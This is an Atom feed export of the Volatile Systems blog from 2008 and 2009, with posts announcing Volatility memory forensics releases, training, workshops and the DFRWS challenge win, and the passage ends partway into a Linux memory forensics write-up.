<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3234362709639100510</id><updated>2011-07-07T15:11:24.999-07:00</updated><title type='text'>Volatile Systems</title><subtitle type='html'>INTEGRITY MATTERS</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://volatilesystems.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://volatilesystems.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>AW</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>24</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3234362709639100510.post-5270953753175699373</id><published>2009-06-24T20:15:00.000-07:00</published><updated>2009-06-24T20:16:30.891-07:00</updated><title type='text'>Got Memory Forensics and Malware Analysis skillz?</title><content type='html'>We are currently seeking passionate and talented individuals with skills in the areas of memory forensics, malware analysis, and reverse engineering. If you are looking for a position in a rapidly growing company that is building solutions to address the hardest and most exciting challenges currently facing the digital forensics community, we want to talk to you! This is your opportunity to work alongside industry pioneers to help shape the future of digital forensics. Join the digital forensics revolution! Please contact us at (info at volatilesystems dot com)(https://www.volatilesystems.com).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3234362709639100510-5270953753175699373?l=volatilesystems.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://volatilesystems.blogspot.com/feeds/5270953753175699373/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3234362709639100510&amp;postID=5270953753175699373&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/5270953753175699373'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/5270953753175699373'/><link rel='alternate' type='text/html' href='http://volatilesystems.blogspot.com/2009/06/got-memory-forensics-and-malware.html' title='Got Memory Forensics and Malware Analysis skillz?'/><author><name>AW</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3234362709639100510.post-1744487023987202702</id><published>2008-10-16T09:42:00.000-07:00</published><updated>2008-10-16T10:17:31.397-07:00</updated><title type='text'>Voltage: Giving Investigators the Power to Make a Difference!</title><content type='html'>Do you feel like your current methods of performing digital investigations are antiquated and unable to deal with the threats posed by the modern digital adversary?  Do you feel that forensic vendors have lost touch with the needs of investigators? Do you believe that the ability to perform investigations is not a privilege for those who can afford an $100,000 price tag? Are you tired of forensics vendors who seem more interested in exploiting the community rather than helping to empower investigators? We are in the midst of a "Digital Forensics Revolution"!&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_sLNlb50o4n4/SPdvcZUIoUI/AAAAAAAAACk/XY0yOmkLV04/s1600-h/sans_slides.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://3.bp.blogspot.com/_sLNlb50o4n4/SPdvcZUIoUI/AAAAAAAAACk/XY0yOmkLV04/s200/sans_slides.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5257793623600701762" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;During our presentation at the &lt;a href="http://www.sans.org/forensics08_summit/"&gt;SANS Forensics Summit&lt;/a&gt;, &lt;a href="http://www.4tphi.net/fatkit/papers/Walters_2008_SANS.pdf"&gt;"Upping the 'Anti': Using Memory Analysis to Fight Malware"&lt;/a&gt;, we made two major announcements which will dramatically affect the way digital investigations are performed across the enterprise.  The first announcement related to the availability of a powerful new feature in &lt;a href="http://www.f-response.com/index.php?option=com_content&amp;task=view&amp;id=79&amp;Itemid=2"&gt;F-Response 2.03&lt;/a&gt;, remote real-time read-only access to a computer system's physical memory.  By coupling this revolutionary technology with their ability to provide remote access to a computer's physical disks, F-Response has provided digital investigators a truly unique capability that will shape the future of digital investigations.  &lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_sLNlb50o4n4/SPd2XD5MXqI/AAAAAAAAACs/clesnwmIov4/s1600-h/f-response_logo.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://2.bp.blogspot.com/_sLNlb50o4n4/SPd2XD5MXqI/AAAAAAAAACs/clesnwmIov4/s200/f-response_logo.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5257801228532604578" /&gt;&lt;/a&gt;&lt;br /&gt;During the presentation, we also publicly unveiled Voltage.  Voltage is a platform that combines the award winning memory analysis capabilities of &lt;a href="https://www.volatilesystems.com/default/volatility"&gt;Volatility&lt;/a&gt; with the remote real-time access provided by F-Response. Imagine being able to reach across the network into the physical memory of a remote system and extract a sample of a suspicious executable in real time! While some investigators will prefer the command-line interface and cost effectiveness of Volatility (free!), Voltage provides an option for enterprise investigators who desire advanced automation and visualization. It also provides investigators with the ability to continuously monitor and verify the runtime state (integrity) of the systems within their organization. If an incident is detected, Voltage is able to automatically capture a sample of physical memory while the artifacts are still resident in memory and temporally relevant. It also provides the ability to search for Advanced Persistent Threats (APT) that may be hiding within the enterprise. Voltage gives investigators unprecedented visibility into the once opaque components of the information infrastructure.&lt;br /&gt;&lt;br /&gt;It's important to emphasize that Voltage provides a capability unlike anything you have ever seen.  Unlike other enterprise solutions, which deploy heavyweight agents or servlets that attempt to naively perform live analysis on a compromised machine, the minimal F-Response target merely provides access to the raw data. At the same time, all of the complex processing and analysis is done remotely on a trusted machine.  As a result, you have complete access to the runtime state of the remote system, physical memory and pagefile (swap), while minimizing your impact on potential artifacts and reducing your exposure to subversion. Whereas other solutions force you to collect a snapshot of physical memory, sometimes taking hours before analysis can even begin, Voltage allows the investigator to begin analyzing physical memory on a remote system in real time.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3234362709639100510-1744487023987202702?l=volatilesystems.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://volatilesystems.blogspot.com/feeds/1744487023987202702/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3234362709639100510&amp;postID=1744487023987202702&amp;isPopup=true' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/1744487023987202702'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/1744487023987202702'/><link rel='alternate' type='text/html' href='http://volatilesystems.blogspot.com/2008/10/voltage-giving-investigators-power-to.html' title='Voltage: Giving Investigators the Power to Make a Difference!'/><author><name>AW</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_sLNlb50o4n4/SPdvcZUIoUI/AAAAAAAAACk/XY0yOmkLV04/s72-c/sans_slides.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3234362709639100510.post-4241712920593882584</id><published>2008-10-09T08:47:00.000-07:00</published><updated>2008-10-09T08:57:27.539-07:00</updated><title type='text'>Hoffmann Advanced Forensic Sessions</title><content type='html'>I'm very excited to announce a new training opportunity for those in Europe or those who like to travel to Europe. My colleagues at &lt;a href="http://en.hoffmannbv.nl/"&gt;Hoffmann Investigations&lt;/a&gt; will be hosting advanced forensics training for experienced investigators. As a part of this unique week long training, I will be leading a 2-day session on Memory and Malware Forensics. This session is designed to combine informative lectures with hands-on training exercises and realistic scenarios, similar to those that our investigators have faced in the field. This is your opportunity to learn how to leverage the power of Volatility 1.3 to improve your digital investigation process.&lt;br /&gt;&lt;br /&gt;Training agenda:&lt;ul&gt;&lt;br /&gt;&lt;li&gt;Session 1 - Advanced Vista forensics: Lance Mueller &lt;/li&gt;&lt;br /&gt;&lt;li&gt;Session 2 - Apple and iPhone forensics: Remon Verkerk &lt;/li&gt;&lt;br /&gt;&lt;li&gt;Session 3 - Open source forensics, File Formats and Advanced File Carving: Joachim Metz and Robert-Jan Mora &lt;/li&gt;&lt;br /&gt;&lt;li&gt;Session 4 - Advanced Memory Forensics and Malware Analysis: AAron Walters &lt;/li&gt; &lt;br /&gt;&lt;/ul&gt;Please be sure and register early.  It is limited to 25 participants and I'm sure it will fill up quickly. For more details and information on how to register, please visit &lt;a href="http://en.hoffmannbv.nl/index.cfm/t/Hoffmann_Advanced_Forensic_Sessions/vid/990B3B29-FD6A-6F79-58B3C841381DB7AF "&gt;Hoffmann Investigations&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3234362709639100510-4241712920593882584?l=volatilesystems.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://volatilesystems.blogspot.com/feeds/4241712920593882584/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3234362709639100510&amp;postID=4241712920593882584&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/4241712920593882584'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/4241712920593882584'/><link rel='alternate' type='text/html' href='http://volatilesystems.blogspot.com/2008/10/hoffmann-advanced-forensic-sessions.html' title='Hoffmann Advanced Forensic Sessions'/><author><name>AW</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3234362709639100510.post-8453209916499024770</id><published>2008-09-07T09:22:00.000-07:00</published><updated>2008-09-07T09:29:42.621-07:00</updated><title type='text'>Volatile University: Memory Forensics in the Classroom</title><content type='html'>Memory forensics is a critical component of the digital investigation process and an important skill for digital investigators. At Volatile Systems, we are committed to helping educate the community about memory analysis. In support of this commitment, we are currently working with a number of university, college, and continuing education programs to help integrate volatile memory analysis into their digital forensics course work and lab exercises. This is an exciting opportunity for us to work with future digital investigators and those investigators who have gone back to improve their skill set.  If you are currently instructing a class on computer forensics and have an interest in exploring how other educators are integrating memory forensics into their curriculum, please let us know. &lt;br /&gt;&lt;br /&gt;On a related note, this fall I will be co-teaching a graduate class, &lt;a href="http://www.telecom.umd.edu/"&gt;ENTS&lt;/a&gt; 689I Network Immunity, at the &lt;a href="http://www.umd.edu/"&gt;University of Maryland, College Park&lt;/a&gt;. This course will actually be composed of three short courses: &lt;a href="http://www.telecom.umd.edu/current/Network%20Security-Part%201.html"&gt;Cryptography and Information Security&lt;/a&gt;, &lt;a href="http://www.telecom.umd.edu/current/Network%20Security-Part%202.html"&gt;System Security&lt;/a&gt;, and &lt;a href="http://www.telecom.umd.edu/current/Network%20Security-Part%203.html"&gt;Network Security&lt;/a&gt;. I am very excited to be teaching this class alongside &lt;a href="http://www.cs.umd.edu/~clancy/"&gt;Dr. Charles Clancy&lt;/a&gt; and &lt;a href="http://www.cs.umd.edu/~npetroni/"&gt;Dr. Nick Petroni&lt;/a&gt;. I consider Charles and Nick to be two of the top systems security researchers. Charles has done some amazing work in the area of wireless networking and Nick pioneered much of the work being done in memory analysis and rootkit detection. Based on the topics which will be covered and the projects that are going to be assigned, this should be a very exciting class! Not to mention, the students will also have the opportunity to learn about memory forensics using &lt;a href="https://www.volatilesystems.com/default/volatility"&gt;Volatility&lt;/a&gt;!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3234362709639100510-8453209916499024770?l=volatilesystems.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://volatilesystems.blogspot.com/feeds/8453209916499024770/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3234362709639100510&amp;postID=8453209916499024770&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/8453209916499024770'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/8453209916499024770'/><link rel='alternate' type='text/html' href='http://volatilesystems.blogspot.com/2008/09/volatile-university-memory-forensics-in.html' title='Volatile University: Memory Forensics in the Classroom'/><author><name>AW</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3234362709639100510.post-5479035262688679096</id><published>2008-08-16T07:46:00.000-07:00</published><updated>2008-08-16T08:13:10.805-07:00</updated><title type='text'>Open Memory Forensics Workshop (OMFW)</title><content type='html'>I want to take this opportunity and thank everybody who attended the first &lt;a href="https://www.volatilesystems.com/default/omfw"&gt;Open Memory Forensics Workshop (OMFW)&lt;/a&gt;. In particular, I want to thank all those who volunteered their time and resources to make the workshop such a success, especially, Eoghan Casey, &lt;a href="http://moyix.blogspot.com/"&gt;Brendan Dolan-Gavitt&lt;/a&gt;, &lt;a href="http://computer.forensikblog.de/en/"&gt;Andreas Schuster&lt;/a&gt;, &lt;a href="http://www.pyflag.net/"&gt;Dr. Michael Cohen&lt;/a&gt;, &lt;a href="http://jessekornblum.livejournal.com/"&gt;Jesse Kornblum&lt;/a&gt;, &lt;a href="http://www.digital-evidence.org/"&gt;Dr. Brian Carrier&lt;/a&gt;, Matthew Geiger, &lt;a href="http://www.jrdcorp.com/"&gt;Keith Jones&lt;/a&gt;, and &lt;a href="http://www.jrdcorp.com/"&gt;Brian Dykstra&lt;/a&gt;. I have received nothing but positive feedback [&lt;a href="http://windowsir.blogspot.com/2008/08/open-memory-forensics-workshop.html"&gt;link&lt;/a&gt;][&lt;a href="http://isc.sans.org/diary.html?storyid=4895"&gt;link&lt;/a&gt;][&lt;a href="http://treepages2.sytes.net:8080/wordpress/?p=68"&gt;link&lt;/a&gt;] which is directly attributable to the efforts of those who contributed.&lt;br /&gt;&lt;br /&gt; As with many of you who follow my blogs, I firmly believe that volatile memory analysis can dramatically augment the way we currently perform digital investigations and has the ability to help address many of the open challenges that we currently face.  I also know that the progress we have seen in memory forensics over the last few years has been driven by the work done in the open source community. The reason &lt;a href="https://www.volatilesystems.com/"&gt;Volatile Systems&lt;/a&gt; sponsored this workshop is because our organization is committed to the belief that forensics and security should be accessible to everyone. The goal of this workshop is to create a forum that brings together the top researchers and practitioners in an environment that fosters the open exchange of ideas, so we can find ways to help each other. It is our goal to help make this community approachable, so others may be inspired to get involved and contribute back to the community.  &lt;br /&gt;&lt;br /&gt;If you are interested in learning more about this years workshop, the agenda and and slides have have been posted on the &lt;a href="https://www.volatilesystems.com/default/omfw"&gt;OMFW website&lt;/a&gt;. As a side note,  we have already started the planning for next year's event. Be sure to follow this blog and the workshop website for further updates! Due to the overwhelming response this year, we were not able to fulfill all the registration requests, so please be sure to register early!&lt;br /&gt;&lt;br /&gt;Please feel free to post any comments, questions, or feedback you may have!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3234362709639100510-5479035262688679096?l=volatilesystems.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://volatilesystems.blogspot.com/feeds/5479035262688679096/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3234362709639100510&amp;postID=5479035262688679096&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/5479035262688679096'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/5479035262688679096'/><link rel='alternate' type='text/html' href='http://volatilesystems.blogspot.com/2008/08/open-memory-forensics-workshop-omfw.html' title='Open Memory Forensics Workshop (OMFW)'/><author><name>AW</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3234362709639100510.post-565728927140021597</id><published>2008-08-15T22:05:00.000-07:00</published><updated>2008-08-15T22:26:44.559-07:00</updated><title type='text'>Volatility 1.3: Advanced Memory Forensics</title><content type='html'>The Volatility Team is pleased to announce the release of &lt;a href="https://www.volatilesystems.com/default/volatility"&gt;Volatility 1.3&lt;/a&gt;, the open source memory forensics framework.  The framework was recently used to help win both the &lt;a href="http://volatilesystems.blogspot.com/2008/08/pyflagvolatility-team-wins-dfrws.html"&gt;DFRWS 2008 Forensics Challenge and the Forensics Rodeo&lt;/a&gt;, demonstrating its power and effectiveness for augmenting digital investigations.&lt;br /&gt;&lt;br /&gt;The Volatility Framework is a completely open collection of tools, implemented in Python under the GNU General Public License, for performing advanced memory forensics.  The extraction techniques are performed completely independent of the system being investigated but still offer unprecedented visibility into the run time state of the system. The framework is intended to introduce people to the techniques and complexities associated with extracting digital artifacts from volatile memory samples, while providing a powerful platform for further research.&lt;br /&gt;&lt;br /&gt;Volatility 1.3 currently supports the investigation of Microsoft Windows XP Service Pack 2 and Service Pack 3 memory samples. Preliminary support has also been added for the Linux operating system, making Volatility the only cross platform memory analysis framework.&lt;br /&gt;&lt;br /&gt;Some of the new features in Volatility 1.3 include:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;Over 14 new data view modules!&lt;/li&gt;&lt;br /&gt;&lt;li&gt;New object model allowing easier module development and memory exploration &lt;/li&gt;&lt;br /&gt;&lt;li&gt;New plugin design allowing organizations to easily create, maintain, and share modules &lt;/li&gt;&lt;br /&gt;&lt;li&gt;New object oriented scanning infrastructure (Very Fast!) &lt;/li&gt;&lt;br /&gt;&lt;li&gt;Process graphing capabilities &lt;/li&gt;&lt;br /&gt;&lt;li&gt;Ability to extract open registry handles &lt;/li&gt;&lt;br /&gt;&lt;li&gt;Ability to dump a process' addressable memory &lt;/li&gt;&lt;br /&gt;&lt;li&gt;Ability to extract executables from memory samples &lt;/li&gt;&lt;br /&gt;&lt;li&gt;Transparently supports a variety of sample formats (ie, CrashDump, Hibernate, DD)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Automated conversion between sample formats&lt;/li&gt; &lt;br /&gt;&lt;li&gt;New scanning modules (ie, modules)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Support for XP SP3&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;Special thanks to Brendan Dolan-Gavitt, Andreas Schuster, Michael Cohen, and Matthieu Suiche.&lt;br /&gt;&lt;br /&gt;Download the Volatility Framework from:&lt;br /&gt;&lt;br /&gt;&lt;a href="https://www.volatilesystems.com/default/volatility"&gt;https://www.volatilesystems.com/default/volatility&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Thanks,&lt;br /&gt;&lt;br /&gt;The Volatility Team&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3234362709639100510-565728927140021597?l=volatilesystems.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://volatilesystems.blogspot.com/feeds/565728927140021597/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3234362709639100510&amp;postID=565728927140021597&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/565728927140021597'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/565728927140021597'/><link rel='alternate' type='text/html' href='http://volatilesystems.blogspot.com/2008/08/volatility-13-advanced-memory-forensics.html' title='Volatility 1.3: Advanced Memory Forensics'/><author><name>AW</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3234362709639100510.post-1467997868993211255</id><published>2008-08-13T18:03:00.000-07:00</published><updated>2008-08-13T19:01:09.564-07:00</updated><title type='text'>PyFlag/Volatility Team Wins DFRWS Challenge!</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_sLNlb50o4n4/SKOFoppx6XI/AAAAAAAAACc/o__pQcTAErY/s1600-h/dfrwscert2.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://1.bp.blogspot.com/_sLNlb50o4n4/SKOFoppx6XI/AAAAAAAAACc/o__pQcTAErY/s320/dfrwscert2.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5234174125357001074" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I'm very excited to announce that the &lt;a href="http://www.pyflag.net/"&gt;PyFlag&lt;/a&gt;/&lt;a href="https://www.volatilesystems.com/default/volatility"&gt;Volatility&lt;/a&gt; Team was chosen the winner of the &lt;a href="http://www.dfrws.org/2008/challenge/index.shtml"&gt;2008 Digital Forensic Research Workshop (DFRWS) Forensic Challenge&lt;/a&gt;. This year's challenge focused on developing advanced tools and techniques in the areas of memory forensics and data fusion.&lt;br /&gt;&lt;br /&gt;I want to take this opportunity to thank Eoghan Casey, Matthew Geiger, and Wietse Venema for putting on a fantastic challenge. I also want to thank both Michael Cohen and David Collett for all their hard work and long hours. It was an honor to work with such a strong team. It's amazing to see how the PyFlag and Volatility teams have combined forces to dramatically push the state of the art in digital forensics research and analysis! &lt;br /&gt;&lt;br /&gt;In case you missed it in previous posts, the final submission can be found &lt;a href="https://docs.google.com/Doc?id=ddmm9hjf_16hbkgjh4m&amp;hl=en"&gt;here&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3234362709639100510-1467997868993211255?l=volatilesystems.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://volatilesystems.blogspot.com/feeds/1467997868993211255/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3234362709639100510&amp;postID=1467997868993211255&amp;isPopup=true' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/1467997868993211255'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/1467997868993211255'/><link rel='alternate' type='text/html' href='http://volatilesystems.blogspot.com/2008/08/pyflagvolatility-team-wins-dfrws.html' title='PyFlag/Volatility Team Wins DFRWS Challenge!'/><author><name>AW</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_sLNlb50o4n4/SKOFoppx6XI/AAAAAAAAACc/o__pQcTAErY/s72-c/dfrwscert2.jpg' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3234362709639100510.post-8111276958453029582</id><published>2008-07-29T17:36:00.000-07:00</published><updated>2008-07-29T17:49:06.741-07:00</updated><title type='text'>SANS WhatWorks Summit in Forensics and Incident Response</title><content type='html'>If you have time in October, you may want to attend the &lt;a href="http://www.sans.org/forensics08_summit/"&gt;SANS WhatWorks Summit in Forensics and Incident Response&lt;/a&gt;.  I'm scheduled to give an invited talk titled "Upping the 'Anti': Using Memory Analysis to Fight Malware". It is Vegas after all...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3234362709639100510-8111276958453029582?l=volatilesystems.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://volatilesystems.blogspot.com/feeds/8111276958453029582/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3234362709639100510&amp;postID=8111276958453029582&amp;isPopup=true' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/8111276958453029582'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/8111276958453029582'/><link rel='alternate' type='text/html' href='http://volatilesystems.blogspot.com/2008/07/sans-whatworks-summit-in-forensics-and.html' title='SANS WhatWorks Summit in Forensics and Incident Response'/><author><name>AW</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3234362709639100510.post-4122533295954982515</id><published>2008-07-29T17:21:00.000-07:00</published><updated>2008-07-30T05:05:05.754-07:00</updated><title type='text'>Digital Investigation Journal</title><content type='html'>I'm pleased to announce that I recently accepted an appointment to the Editorial Board of &lt;a href="http://www.elsevier.com/locate/diin"&gt;Digital Investigation: The International Journal of Digital Forensics &amp; Incident Response&lt;/a&gt;.  I consider the Digital Investigation one of the top venues for publishing research in the area of memory forensics and I hope to help that trend continue.  In fact, our initial paper &lt;a href="http://dx.doi.org/10.1016/j.diin.2006.10.001"&gt;"FATKit: A framework for the extraction and analysis of digital forensic data from volatile system memory"&lt;/a&gt; was originally published in Digital Investigation.  I encourage people doing research in the area of memory analysis to submit their research for publication in Digital Investigation. You can be guaranteed to get one of my lengthy reviews!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3234362709639100510-4122533295954982515?l=volatilesystems.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://volatilesystems.blogspot.com/feeds/4122533295954982515/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3234362709639100510&amp;postID=4122533295954982515&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/4122533295954982515'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/4122533295954982515'/><link rel='alternate' type='text/html' href='http://volatilesystems.blogspot.com/2008/07/digital-investigation-journal.html' title='Digital Investigation Journal'/><author><name>AW</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3234362709639100510.post-5642944116992872325</id><published>2008-07-15T11:39:00.000-07:00</published><updated>2008-07-15T12:49:45.732-07:00</updated><title type='text'>Linux Memory Forensics</title><content type='html'>&lt;b id="p5g7"&gt;A collaboration with the PyFlag team, Michael Cohen and David Collett.&lt;/b&gt;&lt;br id="myxr"&gt;&lt;br id="myxr0"&gt;One of the major components of the &lt;a href="http://www.dfrws.org/2008/challenge/index.shtml"&gt;DFRWS 2008 challenge&lt;/a&gt; was to improve the state of Linux memory forensics techniques and to develop tools that are applicable to a broad range of systems and forensic challenges that an investigator may face.  In this section, we will discuss the efforts that we have made in order to address those objectives. Our goal was to make a variety of new tools and techniques available to investigators and demonstrate how they can be used to help investigate the memory sample provided as part of the challenge (challenge.mem).  At the end of this section, we will also address how the information extracted from RAM can be leveraged in the second major component of the challenge, the fusion of memory, hard disk, and network data.&lt;br id="mx8w1"&gt;&lt;div id="ayy30"&gt;&lt;div id="lo1b0"&gt;&lt;div id="lnn20"&gt;       &lt;br id="mx8w2"&gt;       Previous research has demonstrated that memory forensics is often an important component of the digital investigation process [&lt;a href="http://www.blackhat.com/presentations/bh-dc-07/Walters/Paper/bh-dc-07-Walters-WP.pdf" id="dsmt" title="cite"&gt;cite&lt;/a&gt;].  Memory forensics offers the investigator the ability to access the runtime state of the system and has a number of advantages over traditional live response techniques, typically used by forensic toolkits [&lt;a href="http://www.blackhat.com/presentations/bh-dc-07/Walters/Paper/bh-dc-07-Walters-WP.pdf" id="sieh" title="cite"&gt;cite&lt;/a&gt;]. While there has been some previous research into Linux memory forensics, the majority of the recent work has focused primarily on Windows memory analysis.&lt;br id="mx8w3"&gt;       &lt;br id="mx8w4"&gt;       In 2004, Michael Ford demonstrated how an investigator could use many of the preexisting tools used for crash dump collection and analysis to help perform analysis in the wake of an incident[&lt;a 